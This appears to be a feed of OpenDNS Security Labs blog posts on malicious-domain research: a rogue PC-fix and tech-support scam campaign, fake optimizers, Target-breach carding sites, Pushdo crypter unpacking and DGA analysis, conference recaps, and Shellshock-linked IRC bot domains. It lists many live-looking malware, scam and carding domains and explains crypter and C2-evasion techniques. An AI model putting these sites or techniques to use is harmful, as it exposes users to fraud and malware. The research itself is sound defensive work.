The campaign would have been meant to lead users to inadvertently visit the domains, go through the redirection chain and get the suspicious executable installed. To check this theory, we collected the client IPs that looked up some of the domains for a day, and we found that a lot of the IPs map to mail servers or DNS resolvers. These mail servers and DNS resolvers are most likely configured to use OpenDNS as they contacted our resolvers to look the suspicious domains up before relaying spam or before human users can visit the sites through their browser.

On another note, several of these domains like jixeijeog[.] com were also reported in the network traffic of PushDo trojan samples (look for the domain in the Behavioral information tab of the virustotal report). PushDo is known as a “downloader” trojan, which means its real purpose is to download and install malicious software. These domains are acting as either a rogue software campaign through the browser or as a CnC for already installed PushDo samples attempting to download more malware on the infected host.

The post Massive Algorithmic Discovery and Beyond appeared first on Umbrella Security Labs.

Utilizing the power of the Umbrella Security Graph, our Labs Team is constantly on the lookout for any anomalies that could indicate potential threats. Recently, we’ve noticed several domains that appear to be search engines triggering a number of predictive models in the Security Graph.

These high-volume domains seemed to be stable, but a number of red flags quickly became apparent: demonstrated fast flux behavior, residence at low reputation IP subnets, and an alarmingly low secure rank. Although the software appeared legitimate, and the domain registered at .IN had been around for a long time, a quick investigation indicated that the sites were involved in a PC optimizing scam:

websearch[.]helpmefindyour[.]info 

websearch[.]pu-result[.]info

websearch[.]coolwebsearch[.]info

websearch[.]pu-results[.]info

We began by loading the websearch[.]helpmefindyour[.]info site, and saw the usual search window with an advertisement. Nothing suspicious here – until we used a outdated user agent when browsing the same site. The advertisement about fixing your ‘slow’ PC appeared. 

Getting a speed boost for your PC is fine, however, the changed behavior revealed by an outdated user agent resembles malicious downloads that exploit vulnerabilities of older systems. (Doesn’t it remind you of other Rogue AVs out there?) We got the executable from the site and ran it on a CLEAN VM. See the screenshots for the red alerts – they’re showing entirely made-up errors found on a clean system.

In addition to a “registry cleaner”, that, of course, found things to fix on our system, we were offered the installation of two additional applications: a backup tool and another optimization tool.

Several more ‘errors’ were found on our system, and only a handful of them could be fixed with the free version. Fixing the 100+ remaining issues required one to buy the product.

A few minutes after having installed this tool, another window popped up informing us of 30 malware infections needing to be fixed, which required the purchase of yet another product. 

These executables don’t appear to be malicious per se – however, programs asking for money to install bogus PC optimizers are blatant scamware products you need to be aware of. 

Additional malicious domains:

websearch.4shared.com
websearch.a-searchpage.info
websearch.coolwebsearch.info
websearch.good-results.info
websearch.greatresults.info
websearch.helpmefindyour.info
websearch.homesearchapp.info
websearch.homesearch-hub.info
websearch.lookforithere.info
websearch.pu-result.info
websearch.pur-esult.info
websearch.pu-results.info
websearch.resulthunters.info
websearch.searchannel.info
websearch.searchdwebs.info
websearch.searchingissme.info
websearch.searchmainia.info
websearch.searchouse.info
websearch.searchrocket.info
websearch.simplespeedy.info
websearch.soft-quick.info
websearch.youwillfind.info

The post Fake PC Optimizer Scam Uncovered appeared first on Umbrella Security Labs.

This past week was a busy one for the OpenDNS Security Team, as four researchers presented three talks at two separate security events.

First, Dhia hosted a session at BotConf 2013, in Nantes, France (stay tuned for his recap!). Thibault, Frank and Ping finished out the week at Baythreat, a bay area security event now in its fourth year. As always, it was great to interact with other members of the security community! We’d like to share a brief recap of our experiences at Baythreat.

The event took place at the Hacker Dojo in Mountain View, CA. It is a shared place for anyone who likes to hack, build, and share knowledge with others in the area – thus a very fitting place to host the collaborative-minded Baythreat. 

The talks were divided into two tracks, Building and Breaking, with great content throughout. Topics ranged from cryptography and hardware tampering to Big Data security analytics and the Internet of Things. If you’re interested in reading more about the sessions, abstracts and speaker bios can be found on the Baythreat site.

Ping and Thibault presented a joint talk featuring demos of an entirely new experience in threat intelligence – a combination or data science and art, focused on Cryptolocker. You can find the slides from their talk below:

Frank’s talk, “This Domain Name will Self-destruct Tomorrow“, described an IP reputation model based on the observation that IP addresses hosting C&C servers and exploit kits tend to have a lot of domain names mapping to them, but that are actually only used for a very short period of time. 

Baythreat was an excellent event, providing ample opportunities to network with security professionals from around the country.

The post BotConf & BayThreat 2013 appeared first on Umbrella Security Labs.

Throughout the past several weeks, huge numbers of U.S. consumers were notified about the largest scale consumer payment accounts breach in recent memory, which victimized Target and Neiman Marcus customers, among several other large retailers (purported but not yet confirmed/released). This string of attacks targeted the point-of-sale (POS) systems where cashiers swipe a customer’s credit or debit card to collect their payments. The message became clear – customers on the brick-and-mortar retail floors are no exception to the dangers of cyber crime.

Nearly all major news outlets and cyber security vendors have covered the breaches themselves, the attacks leading to it, and the Russian teenager who is suspected of writing the malware used in these attacks. Brian Krebs’ blog has the most comprehensive coverage of the sequence of events related to the Target data breach, among many other insightful reports of current cyber security news. 

After digesting all the information that has been released thus far, we wanted to put together our own timeline of these events for OpenDNS security blog readers. In addition to an overview of the Target breach, we’ve also included information on various versions of malware targeting POS systems dating all the way back to 2012, and a closer look at carding sites with Security Graph.

(The links you see in the timeline take you to the original coverage of each story.)

Live traffic from the year-old Dexter Malware

11e2540739d7fbea1ab8f9aa7a107648[.]com is one of the Dexter CnC servers reported 9 months ago by the ASERT research team - we didn’t expect to see continued active traffic to this well-exposed malware, so the above results were slightly disappointing. 

Examining the temporal requesting patterns to another four DGA Dexter CnC domains shows that the malware makes blunt, straight callbacks with no intention to hide. On the other hand, the newest malware (BlackPOS, and its variant involved in the Target attack) is known to stay dormant at night, and make only sparse CnC callbacks from 9 to 5.  One of the malware home IP addresses is shown in the following snapshot:

Carding sites

We have also begun monitoring several carding sites (sites that sell stolen credit card data and other stolen online store account information) as more news about the Target attack broke last week:

Interestingly, a few of these sites, such as cardsmarket.su and apino1.net, showed spikes of traffic last week. Cardsmarket.su showed its first traffic spike on Jan 14 (57,000+ DNS queries between 10am and 8pm) and a much higher one on Jan 18th (close to 78,000 DNS queries between 2 and 5pm). Apino1.net had a spike on Jan 20th (58,000+ DNS queries between 6 and 9pm). Details on both domains can be seen in the Security Graph screenshots below:

In the map below, we show the client IPs distribution during the Jan 18th spike to cardsmarket.su. This does not necessarily directly tie in with the Target credit card heist, but shows the potential surge in interest in stolen cards as the world learns more  about the breach.

More shady sites

Furthermore, by exploring the co-occurence and related domains graphs of cardsmarket.su, we uncover other similar sites (carding and hacking sites) that for the most part have seen increased activity in the past week. We pruned the graphs, and now show some of these sites for awareness:

fullz-mart.biz
gavi.cc
hhfun.com
hidden-crime.biz
kreditkarten.ru
lampeduza.net
lampeduza.so
octavian.su
omerta.cc
validmarket.ru
validservice.su
www.cardsmarket.su
www.devil-group.com
www.foreverpp.ru
xcarder.net

The post Examining the Target Attack and Carding Sites Using Security Graph appeared first on Umbrella Security Labs.

Earlier this year at RSA, our CTO Dan Hubbard presented on how predictive systems can be used to identify attacks before they happen, and discussed how we could possibly predict when they will happen in the future.

His presentation reviews how the OpenDNS research team is using Big Data science to discover and predict attacks and includes real-world visualized examples. Enjoy!

The post Using Data Breadcrumbs to ID Targeted Attacks appeared first on OpenDNS Security Labs.

Today’s blog is a fun story of how Umbrella Security Lab researchers uncovered a massive rogue PC fix campaign, relying on both algorithmic big data crunching models, sandboxing and field investigations (including an anonymous phone call to the rogue PC fix service under a customer name of  Virgilio Calabrese).

The storyline

As Umbrella Security Lab often demos, patterns emerge when you possess the right data and weave them altogether. This can be done despite attackers’ efforts to randomize traffic, injecting noises to hide their traces with all kinds of creative tricks. Since last week, we start spotting a large number of domains that were picked up by one of our analytical models – CRANK. These domains all showed very similar low crank scores. The crank model relies on DNS requesting behavior, and a crank score derives from co-occurrence patterns among domains. The biggest pattern indicator is when two domains co-occur, meaning that a statistically significant number of clients have requested both domains consecutively within a small time frame. If a domain co-occurred with one or more known malicious domain in the examined time frame, it will receive a lower crank score than the ones that never co-occurred with known malicious domains. 

For this report, the examined set of domain names appeared to be DGA (domain generating algorithm) names. At the time of discovery (a week ago from this report), the Umbrella Security team found nothing about the legitimacy of these domains online. This indicated that something is definitely not right, and we therefore started to find out the domains’ true nature.

At first sight, the domains seem to be parked pages, but if we access them using specific user agents and without initial cookies, we are dragged into a redirection chain that leads to the attempted dropping of a variety of suspicious executables (in one visit it was a fake Chrome updater)

 After the first visit, this is what the parking page looks like:

Here is one of the redirections chain we observed:

- hxxp://sozvigupvuxs.com – The landing page, loading a frame on the same domain. This frame returns either a redirection to hxxp://OTNNetwork.net, or, if a specific cookie is found, the parking page.

- hxxp://OTTNetwork.net then serves some javascript redirecting to hxxp://98795.acrosslookup.com

- hxxp://98795.accesslookup.com is abused for click fraud, redirecting to hxxp://ck.ads.affinity.com

- hxxp://ck.ads.affinity.com redirects to the target of the fake click, hxxp://o800.info

- hxxp://0800.info shows a fake site with some basic javascript code performing browser detection in order to display a relevant “your browser is outdated” page, and then redirects to hxxp://secure.oi-installer9.com

- hxxp://secure.oi-installer9.com serves Windows executable file with different names (e.g. Internet_Explorer_Setup.exe) according to the client browser.

Right after having downloaded and installed the “updated Chrome version”, a popup asked us to “scan and fix  Windows XP errors”.

The number of DNS queries we are seeing for the domain name serving this file is fairly high. We blocked it in order to protect our customers.

Launching the product was the beginning of the end.

A fake antivirus (“PC Health Boost”) found 96 errors, and 37 more that required a paid version in order to be fixed. Other popups told us to download and install yet another fake antivirus (a fake version of F-Prot). And yet another one (“Malware Striker”, similar to the first one, just with a different skin). Then, a fake video player (“FLV Mplayer”) and so on an so forth.

Not to mention that Chrome had new extensions and toolbars, and a new default search engine.

Restarting the browser showed that it was spawning a background process on startup, presumably a keylogger or a banking trojan.

The phone call

After the installation of the executable, several pop-ups offering 24×7 PC help would appear on the screen. We called an 800 number that showed up on one of the pop-ups and pretended to be a not too savvy PC user named Virgilio Calabrese, who needed help because his laptop was slow and was showing a lot of annoying pop-ups.

We got a male voice on the other end of the line–let’s call him “Tom”–who claimed to be from Microsoft. During the conversation, Tom tried to have us check a few things to figure out the problem, but we told him, we really didn’t know what was going on, so Tom then asked us to go to support.me which then leads to https://secure.logmeinrescue.com/Customer/Code.aspx.

LogMeIn Rescue is in fact a legit product used by IT helpdesks and call centers to provide instant remote support to customers and employees. Tom then provided a code needed to enter the logmeinrescue session, which granted him remote access to our laptop.

We had a Windows XP VM running on our lab laptop, and after Tom gained access to the VM, we witnessed him running a few checks remotely on our laptop. We pretended to be worried and told Tom we were not comfortable with him manipulating our machine remotely. At this, he reassured us that he was from Microsoft, and that he was not the problem, but our PC saving grace. He insisted he was here trying to help and that we should trust him. At this point, we hung up.

Tom persistently called back. After a few more interactions, we decided to end the call for good and cut the connection.

A look into the traffic of these domains

Here are some of the domains we discovered:

sozvigupvuxs.com
mahakixiq.com
kugmoqwozdat.com
heivoveobi.com
goqwodilde.com
dugicqokila.com
xuhojihux.com
tugheawixe.com
sozvigupvuxs.com
ratvuxmozf.com
pozgafmanmoz.com
mahakixiq.com
kugmoqwozdat.com
joztupilma.com
jeopozmuj.com
huxbeinafdun.com
hokbozjeob.com
heivoveobi.com
goqwodilde.com
dugicqokila.com
dadosukoqhi.com
ceixafjeo.com
biltoqdaffih.com
bajupvoktos.com
xugjiweiru.com
julucicjija.com
goqcanwoqb.com
vealiciluxr.com
varaqipeavi.com
mozdilpanl.com
heivageamo.com
feiluheagear.com
fanxafdatrir.com
deacogeaw.com
datsicrucoso.com
cuvibokmu.com
xobocodon.com
kirneodoqu.com
jujigafhoka.com
jixeijeog.com
hoknafgoca.com

We also discovered a couple thousand more domains clustered to two IP netblocks. 

(The clustering graph shows some outliers that were also picked up by our algorithms but not mapped to the same IP netblocks. They are eliminated from the above analysis.)

Taking a sample of these domains, we found that they were all registered May 19 or May 26, 2013. Looking at the traffic to these domains, we found that it had been periodic for a couple weeks, then it dropped about five days ago, which suggests some sort of “spam campaign” that used those domains.

The campaign would have been meant to lead users to inadvertently visit the domains, go through the redirection chain and get the suspicious executable installed. To check this theory, we collected the client IPs that looked up some of the domains for a day, and we found that a lot of the IPs map to mail servers or DNS resolvers. These mail servers and DNS resolvers are most likely configured to use OpenDNS as they contacted our resolvers to look the suspicious domains up before relaying spam or before human users can visit the sites through their browser.

On another note, several of these domains like jixeijeog[.] com were also reported in the network traffic of PushDo trojan samples (look for the domain in the Behavioral information tab of the virustotal report). PushDo is known as a “downloader” trojan, which means its real purpose is to download and install malicious software. These domains are acting as either a rogue software campaign through the browser or as a CnC for already installed PushDo samples attempting to download more malware on the infected host.

The post Massive Algorithmic Discovery and Beyond appeared first on OpenDNS Security Labs.

Pushdo has historically (since 2008) had close ties to the Cutwail botnet, often acting as a dropper for it. The reader, however, is reminded: as malware executes on a system it can do almost anything it’s controller wants.

Code execution is code execution, regardless if the malware has previously been used for sending spam, creating traffic for DoS attacks, or exfiltrating stolen business secrets to a drop server used by an advanced persistent threat actor during a nation-state sponsored cyber-espionage campaign.

Previous versions of Pushdo have used DNS smokescreens, URL path randomization, and DGA fall back techniques for obscuring command and control (C2) communication. Recently, a new variant of the Pushdo implant surfaced which uses a new algorithm to generate domains. In an attempt to sever Pushdo communications for our customers, we reverse engineered the Pushdo sample, isolated functionality which generated domains, and reimplemented the algorithm’s logic.

Unpacking the Sample

Generally, malware authors tend to not ship their binaries in “plain text”. Once they have written and compiled their creations into an executable, they run it through a tool called a “crypter”. These tools typically cut up the input file into pieces, encrypt them, and place them into another executable which has been specially crafted to reassemble the payload and have it run. These outer shells are updated multiple times per day to evade detection by security software, and many even employ server-side polymorphism on the malware repository, which means each individual victim will receive a distinct copy of the malicious file. It’s not hard to see why naive signature based detection techniques cannot keep up with this style of distribution. In order to recover the inner payload, there are a few things to look for during analysis. In a somewhat half-hearted attempt to guard the inner workings of the crypter, the code which actually reassembles the payload itself needs to be found and decrypted.

The first duty of an analyst is to locate this initial production of code. For the Pushdo sample we analyzed, the outer shell was compiled against Microsoft’s MFC. This is both a blessing and a curse. The downside is that MFC applications tend to be a complete mess of events and callbacks, and control flow is not always easy to statically determine. However, the advantage is that the tables of object methods are trivial to find, and so in practice it never takes very long to find suspicious functionality:

In this custom window class, we found the function that decrypts the second stage of the crypter. With a little trial and error in a debugger in an isolated environment, the transfer of control can be found with relative ease: There’s a jump into the middle of some dynamically allocated memory, the first instructions of which are the typical “call/pop” combination so that this code can orient itself and locate all of the information it will need to reassemble the payload. However, debuggers are pretty poor environments for analyzing code, so we dumped out this memory region and imported it back into an IDA database: We even get to see some of what this stage will be up to — a dab of dynamic import fetching, a hint of memory protection fiddling, and a standard trick of setting up the payload to run using the Windows API UnmapViewOfFile. The thing to remember about this second stage of the crypter is that many of them tend to have a fatal flaw: they will reconstruct the original payload in memory as it was on disk before the crypter ran. Therefore, we don’t need to worry about the details of the bit-smashing done during reassembly. We just need to keep our eye out for PE parsing code… like this: Sure enough, setting a breakpoint here and investigating the area pointed to by edx, we find the original malware executable. One “.writemem” later in WinDbg and we’ve totally dispatched the crypter.

Reverse Engineering the Communication Mechanisms

Similar to previous variants of Pushdo, this sample uses a smokescreen technique in attempts to hide its actual command and control (C2) communications. One rather notable difference between this and previous versions of Pushdo is that this version has moved away from the recognizable URL patterns, such as “/?ptrxcz_”. In addition, gone are the POSTs to vmw.com and youtube.com. Interestingly though, according to domain features from Investigate, the average popularity score for a smokescreen domain in the previous version of Pushdo was 42.45 while the average popularity of a smokescreen domain used by this variant is 39.19; only a slight decrease in average smokescreen domain popularity. OpenDNS has noticed a large increase in queries for all smokescreen domains used by this variant of Pushdo starting around July 4. One such increase is depicted below. The domain resolutions from Pushdo implants could be the cause of this increase.

The hardcoded list of 100 domains, pictured below, are resolved and contacted using HTTP POST methods. Most of these domains have no ties to the Pushdo malware and are completely legitimate. The actual C2 and benign domains are sent HTTP requests with identical features (data content, static HTTP headers and user-agent, etc). This muddies traffic analysis, potentially causing confusion for some analysts and automated analysis systems.

After resolving and contacting the hard coded domains, the sample falls back to algorithmically generated domains with a hardcoded TLD of ‘.kz’. Similar to Cryptolocker, the Pushdo DGA is seeded on time. The algorithm which generates the domains is a shared secret between the threat actor controlling the botnet and the samples being distributed to compromise victim machines. This shared secret provides a layer of protection for the botnet by making its C2 domains a moving target for blacklists and take downs. Once a high level understanding of Pushdo’s call backs were established, deeper analyses were undertaken to fully comprehend how the implant programmatically generated call back domains.

Loading up the payload Pushdo drops into IDA presents an embarrassment of riches. A cursory glance at the strings shows numerous avenues of initial investigation: We see all the hallmarks of malicious software: setting runkeys so that the malware will start executing again when the victim’s computer reboots, “svchost.exe” to do some good old-fashioned thread injection, an “http://%s” to reach out to a generated domain name, and even the alphabet used to do Base64 encoding. Since we were focused on finding the DGA, we followed the network related strings first, which led straight to the heart of the matter: This piece of code was responsible for finding a command and control server, with some backup plans in case of failure. It would first generate the domains for the given day and try to contact them in order. If all of these domains could not be reached, it would try the domains from the previous day. The process continued until either a server responded or until all domains from the previous 30 days had been tried. In the case of continued failure, it would try contacting domains for 15 days in the future as well, finally giving up if none could be reached. All that was left to do was to translate this piece of assembly code into something a little more user friendly, and then hook up this domain generation script into our main malicious domain feed. One crontab entry later, and our customers had complete protection.

Working Smarter, Not Just Harder

These days, security vendors collect tens if not hundreds of thousands of malware samples daily. It might seem that in the face of such volume, it would not be possible to complete such a detailed analysis on every file. This is correct — it is not possible, but that is not the whole story. Of the malware samples received daily, they are not all *essentially different* from one another. Many, if not most, of the differences are just the daily variations in the crypters used to hide the main payloads. The core malicious functionally changes at a far slower pace, with the exact same malicious binary being distributed for weeks or months at a time. This is where security companies can apply the most pressure.

By doing deep analysis like reverse engineering the DGA, we force the malware authors to change a core piece of functionality, or risk losing control of their existing infrastructure. This, in turn, is slower and more error prone than just running their binary through yet another crypter to evade detection for a day, and often doesn’t happen. For example, the differences in the DGA for this version of Pushdo and the first version of the DGA which appeared in 2013 are mostly cosmetic. A few constants in the algorithm changed along with the table of letters used to generate the domain name fragments, but the structure of the algorithm was virtually identical.

The image below shows the proactive blocking of a Pushdo C&C domain prior to it ever having been queried by an OpenDNS user.

In closing, we’d like to thank Alexandru Maximciuc of BitDefender for bringing the new variant to our attention in addition to providing us with the sample to reverse.

The post Cracking Pushdo and How to Bust Through Most Crypters appeared first on OpenDNS Security Labs.

OpenDNS had a very busy schedule in Las Vegas last week. From BSides Las Vegas to Black Hat to DEFCON 22, OpenDNS presented 5 talks involving 6 people over 6 days. To summarize what we experienced in the land of ringing bells, ridiculous buffets, and climate controlled environments, Vinny LaRiza, Adrienne Merrick-Tagore, Andrew Hay, and Thibault Reuille have some observations from the various conferences.

BSides Las Vegas – Vinny LaRiza

I have been to a few Security BSides events in the past, including BSides San Francisco over at the DNA Lounge, so in that regard this wasn’t my first rodeo. I felt like I pretty much knew what to expect. This time was slightly different, however. For one, I was no longer be in my backyard. This time I was in in sparkly Las Vegas, Nevada, the “Miracle in the Desert”, where the “Sky’s the Limit.” I also presented a thirty-minute talk about phishing sites, which was something that I’d never done before.

Was I nervous? Sure. Public speaking is high on the list of people’s biggest fears – and I am one of those people. But not for nothing, I have always appreciated the BSides events for their welcoming vibe and positive demeanor. It seemed like a fitting place to cut my teeth.

Needless to say, the talk - How To Punch a Phisher in the Face! (video) - went over quite well with the audience, who were chiming in towards the end with their own anecdotes as well as including their own solutions to how they prevent themselves from phishing attacks.

Speaking at BsidesLV was a great experience and I would encourage anyone involved in or with technology to participate.

BSides Las Vegas – Adrienne Merrick-Tagore

I’m a relative n00b to security conferences. In the last year, I’ve been to Black Hat, RSA, and Bsides San Francisco.  This was my first time presenting in front of a security audience. My talk centered on my experience interacting with the OpenDNS Security Graph API, from the perspective of a fairly non-technical marketer. I opened by taking a photo of the audience, and then dove into my journey learning how to interact with the API.

I wanted to accomplish two things: at a technical level, I wanted to see what the experience of OpenDNS customers would be when they interact with our API. I wanted to put myself in their shoes, to learn how to use our product and its API.

At a personal level, I wanted to dust off my Python knowledge and apply it to something relevant in my real life and to inspire others to take the plunge into hacking away at something new.

This was a nerve-wracking, rewarding, fun experience! I faced my fear of public speaking by presenting in front of about 30 people. I learned something new that was personally fulfilling and that will also make me better at my job. In the process, I met some really cool people, some of whom are now inspired to learn Python or another programming language. And now I’m hooked – I want to do it again!

The recording of my  talk can be found here: Can I Code Against an API to Learn a Product? (video)

Black Hat 2014 – Andrew Hay

I have attended Black Hat for a number of years but 2014 marks the first time I’ve been accepted to present. Thibault Reuille and I presented our talk entitled Unveiling The Open Source Visualization Engine For Busy Hackers, which served as a launch pad for OpenGraphiti - our free and open source data visualization engine.

How’d we do? Based on the applause, the laughing at our jokes, and the audience engagement during the talk (not to mention the continuous flood of questions at our booth on the show floor before and after the presentation) we believe that the session was a complete success! We were told the room held ~603 people and, based on a very rough count, I estimate that between 550 and 575 people attended – that’s >90% capacity for those of you counting along at home.

We also had the opportunity to brief several people including a podcast-style interview with DarkReading and several reporters from Forbes, Wired, and other well respected technology news outlets.

Thibault and I also provided a very informal (if not ad hoc) Q&A session at the booth adjacent to the OpenDNS booth. At the table, we were able to sit down with existing OpenDNS customers, data scientists, security analysts, and other interested parties who had specific questions about OpenGraphiti, Investigate, and Umbrella.

Thibault and I weren’t the sole OpenDNS representatives accepted to speak at Black Hat, however. Dhia Mahjoub and Andree Toonk joined Thibault at Black Hat to present Catching Malware En Masse: DNS and IP Style. (Note: Thibault will talk about this more in his DEFCON wrap up section as the talk was also presented there.)

DEFCON 22 – Thibault Reuille

What a great pleasure and honor to finally step foot in the legendary DEFCON ! It was a first for me and also for some of my partners in crime. Several OpenDNS folks attended DEFCON including (from right to left) Anthony Kasza, Dhia Majhoub, Andree Toonk, and myself.

I had a feeling that DEFCON wouldn’t disappoint, and it certainly didn’t! We were presenting our research in front of a very responsive crowd. Indeed, we had interesting content as Dhia was presenting discoveries and detection models to catch malware IP & DNS style, Andree offered his networking expertise and vision on monitoring the large ASN network and its BGP routing tables, and finally I did my best to illustrate our talk with interactive 3D visuals create with OpenGraphiti. Our talk was very well received and several times during the talk people stood up and started clapping. It definitely meant a lot to us.

A couple of minutes into the talk, the DEFCON “Goons” played a joke on us. They interrupted our presentation to have us drink a shot of Whisky. In fact, we learned this is a tradition for the first time speakers at DEFCON. Good times.

Other than that, it’s pretty hard to describe the DEFCON spirit other than saying that “it’s fairly unique”. The vendors were selling trendy security hardware as SomaFM played soft lounge music in the chill out room with beautiful animated visuals. The various villages presented interesting talks over a wide variety of topics (Cryptography, Wireless, Social Engineering …) while the impressive CTF contest took place with participants from all over the world. Last but not least, the Wall of Sheep! One of the rooms had a large screen showing the results of a password sniffer running on the open DEFCON network. If you were on that board, I’m sorry for your account.

Leaving Las Vegas

The entire OpenDNS team had a blast in Las Vegas. Sharing knowledge, answering questions, and engaging in deeply technical conversations are what make security conferences great. We will definitely be back at Black Hat in 2015 and I suspect we will have far more research to present at the Black Hat, BSides Las Vegas, and DEFCON conferences as the team continues to shine a light on the darker parts of the Internet.

Until next time!

The post Las Vegas Presentation Recap appeared first on OpenDNS Security Labs.

OpenDNS Security Labs is pleased to announce the S4 Incident Responder and Researcher Conference being held at our HQ on September 18th, 2014 in beautiful San Francisco, California. S4 is a free one-day conference for in-the-trenches Incident Responders and Security Researchers. The conference includes training on some of the most useful open source tools and services presented by some of the top experts in the industry, followed by talks in the evening and networking at night.

S4 Incident Responder and Researcher Conference Details

Who: Incident Responders, Security Researchers, Security Analysts
What: S4 (San Francisco Security Series): Incident Responder and Researcher Conference
When: September 18, 2014 (registration starts at 8:30 AM. First training at 9:00AM)
Where: OpenDNS HQ, 135 Bluxome St., San Francisco, CA 94107

Price: Free
Food and Drinks: Provided

Registration Link: https://irespond.eventbrite.com

Confirmed Training (2 hours each)

• Using Bro – Presented by Anthony Kasza, OpenDNS
• Malware Analysis for Incident Responders – Presented by Lenny Zeltser, The SANS Institute
• Using Moloch - Presented by Scott Floyd, Salesforce
•  IR 2.0 : Elastic Search, Logstash, Kibana (ELK) - From the folks at Elastic Search

Confirmed Speakers (20 – 30 minutes each)

Threat intelligence for Incident Responders – by Sam Liles, Cyberforensics Laboratory at Purdue

Abstract: To be sure the first step in any threat intelligence process is “know thyself”.

If you can’t write down on a whiteboard 10 adversarial actors to your enterprise you are not thinking deep enough. For each adversary you should be able to pinpoint targets. Model the primary channels of access and then look for sideways access. Examples of sideways access include things like shipping or order fulfillment systems that check credit card approval status. Oh yeah that system! Once again your #DFIR team can be a great addition to the gaining of evidence (not probative but still important).

At some companies they maintain a threat briefing for general counsel and their board of directors. At an unnamed company I looked their very technically astute report on current threats to the enterprise. I asked them what was the cause of their three biggest unexpected outages. In two cases it was weather. Yet their report didn’t even mention weather going out to any level of planning. A focus on the bits and bytes misses lighting and floods.

Modeling adversary access attempts to the organization takes some skill. You will never do this perfectly. It is difficult to get people to understand that an adversary does not have to work within your rules, procedures, or capabilities. That freedom allows them to analyze and evaluate how to work outside our organizational structure and use enterprise risk to their advantage. This kind of analysis does not come in a threat feed. It is not a list of IPs and most assuredly it isn’t something you should be sending outside of your organization.

Measuring the IQ of your Threat Intelligence Feeds – by Alex Pinto, MLSec Project

Abstract: Threat Intelligence feeds are now being touted as the saving grace for SIEM and log management deployments, and as a way to supercharge incident detection and even response practices. We have heard similar promises before as an industry, so it is only fair to try to investigate. Since the actual number of breaches and attacks worldwide is unknown, it is impossible to measure how good threat intelligence feeds really are, right? Enter a new scientific breakthrough developed over the last 300 years: statistics!

This presentation will consist of a data-driven analysis of a cross-section of threat intelligence feeds (both open-source and commercial) to measure their statistical bias, overlap, and representability of the unknown population of breaches worldwide. Are they a statistical good measure of the population of “”bad stuff”” happening out there? Is there even such a thing? How tuned to your specific threat surface are those feeds anyway? Regardless, can we actually make good use of them even if the threats they describe have no overlap with the actual incidents you have been seeing in your environment?

We will provide an open-source tool for attendees to extract, normalize and export data from threat intelligence feeds to use in their internal projects and systems. It will be pre-configured with current OSINT network feed and easily extensible for private or commercial feeds. All the statistical code written and research data used (from the open-source feeds) will be made available in the spirit of reproducible research. The tool itself will be able to be used by attendees to perform the same type of tests on their own data.

Join Alex on a journey through the actual real-world usability of threat intelligence to find out which mix of open source and private feeds are right for your organization.

Building Your Own DFIR Sidekick – by Scott J Roberts, GitHub

Abstract: Even though Decepticons, Cylons, and Johnny 5 may eventually control the world with humanity destroyed or as their pets but we can still get a lot of use out of them until then. Hubot is an open source multi-service chat bot built for finding cat pictures and deploying servers as a part of GitHub’s ChatOps workflow.

ChatOps is meant to enable rapid response, automation, collaboration, and use of cutting edge techniques in operations, but can also help with incident response, reverse engineering, OSINT, and other computer network defense tasks. For this we created Hubot Variable Threat Response. Hubot VTR to let us automate & collaborate on security operations. You’ll learn how to use Hubot for devops and security, how to build your own commands with CoffeeScript or Python, and basically how to build your own personal robot for fighting bad guys.

And finding cat pictures. Man is he good at cat pictures.

FastResponder: New Open Source weapon to detect and understand a large scale compromise – by Sébastien Larinier, Guillaume Arcas, and Olivier Zheng, Sekoia

Abstract: With the huge size of new hard drives, memories and cloud computing, it is now impossible to make traditional forensic computer by computer to collect evidences and design a compromission plan. With APT and large attacks like EK, many computers are infected during a campaign. We decided to develop a collector which dumps just enough information to be able to detect signs of compromission and identify the infected computers on all kind of networks.

We started from the SANS institute poster of the FOR 408 “Windows forensic” which details the the main artifacts needed to be collected and we also added some more that we found relevant in the use cases of #FastForensic.

FastResponder has been developed in Python and is composed of multiple modules. A collection profile has been configured using CLI or a configuration file is used to enable the acquisition of a chosen module only, which enable to use fewer memory and time. A specific artifact can also be collected to search for a specific attack using your own threat intelligence with yara rules or specific md5 file. All evidences are recorded in UTF-8 CSV files. The files can be processed in logstash/Kibana/ElasticSearch or Splunk to make supertimeline and define query to quickly find out if computers are infected or compromised.

Please reserve soon as space is limited. Again, the registration link can be found here: https://irespond.eventbrite.com.

We look forward to seeing you!

The post S4 Incident Responder and Researcher Conference – September 18th, 2014 in San Francisco appeared first on OpenDNS Security Labs.

There have been many blog posts, tweets, and even a few webinars already scheduled to talk about the massive patch-forcing BASH vulnerability – more commonly known as “Shellshock”. OpenDNS Security Labs thought long and hard about how we would respond and decided that, in the best interest of the security community, we wouldn’t simply rehash what everyone else was saying. Instead, we decided to look at the queries made on our global infrastructure to see what observations could be made.

• http://blog.opendns.com/2014/09/26/bash-shellshock-security-need-know/
• http://www.csoonline.com/article/2688716/vulnerabilities/attacks-against-shellshock-continue-as-updated-patches-hit-the-web.html
• http://threatpost.com/bash-exploit-reported-first-round-of-patches-incomplete/108550

The Data

With the help of numerous sources, including our friends at AlienVault, ThreatStream, and Akamai in addition to individuals such as @lbhuston, @achillean, @dkulshitsky, and @nickschroedl, among others, we were able to compile a list of Shellshock scanning IP addresses. This list, which can be found here, contains 1060 unique IP addresses, at the time this blog post was written, from countries all over the world.

As we began to look at the data, a question materialized: how many of these scans were from researchers vs. malicious actors…and how could we find out?

To begin with, we looked at the IP addresses from our scan data set and determined the ASN, CIDR, geographic location, and AS owners for each scanner IP. An IP-based geolocation map was generated and can be seen below.

Looking at the scanning IP country of origin, the chart shown below represents the top talking countries, by ASN, with more than 10 identified IP-to-ASN mappings. As you can see, the majority of scans originated from France, Germany, The Netherlands, Italy, China, Great Britain, and the United States, in ascending order.

For those scanning countries with fewer than 10 scans, there is a much more level count of scans-per-country.

Just hours after this vulnerability was reported, Perl Shellbot and bash injected ELF malware was seen in the wild.

Aside from researchers scanning the entire Internet (looking at you @achillean and @ErrataRob), hobbyists, and script kiddies, we observed a huge surge in connections to two IRC servers with hardcoded discovered in several Perl Shellbot samples we (along with others) found on Pastebin.com. These IRC servers, us[.]bot[.]nu and fbi[.]bot[.]nu, are profiled below, as is another malicious payload downloader site.
 

Analysis – us[.]bot[.]nu

Between September 25th, 2014 and October 2nd, 2014 we observed more than 3.2 million queries for this domain on our infrastructure, with the highest peak (602,295) occurring on September 27th at 01:00 UTC.

Analysis – fbi[.]bot[.]nu

Between September 25th, 2014 and October 2nd, 2014 we observed more than 2.5 million queries for this domain, with the highest peak (410,651) occurring on September 27th at 01:00 UTC.

Analysis – Stablehost[.]us

